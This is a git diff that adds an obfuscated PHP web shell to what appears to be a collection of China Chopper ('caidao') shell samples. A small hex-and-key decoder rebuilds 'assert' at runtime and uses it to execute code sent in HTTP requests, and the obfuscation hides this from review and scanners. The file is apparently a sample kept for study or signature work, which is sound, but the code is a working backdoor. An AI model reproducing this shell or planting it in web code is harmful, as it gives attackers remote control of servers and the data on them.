diff --git a/caidao-shell/z-2016-01-05.php b/caidao-shell/z-2016-01-05.php
new file mode 100644
index 0000000..47cc39e
--- /dev/null
+++ b/caidao-shell/z-2016-01-05.php
@@ -0,0 +1,23 @@
+<?php
+function cve($str,$key)
+{
+$t="";
+for($i=0; $i<strlen($str); $i=$i+2)
+{
+  $k=(($i+2)/2)%strlen($key);
+  $p=substr($key, $k,1);
+  if(is_numeric(substr($str, $i,1)))
+  {
+    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
+  }
+  else
+  {
+    $t=$t.chr(hexdec(substr($str, $i,4)));
+    $i=$i+2;
+  }
+}
+return($t);
+}
+
+(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
+?>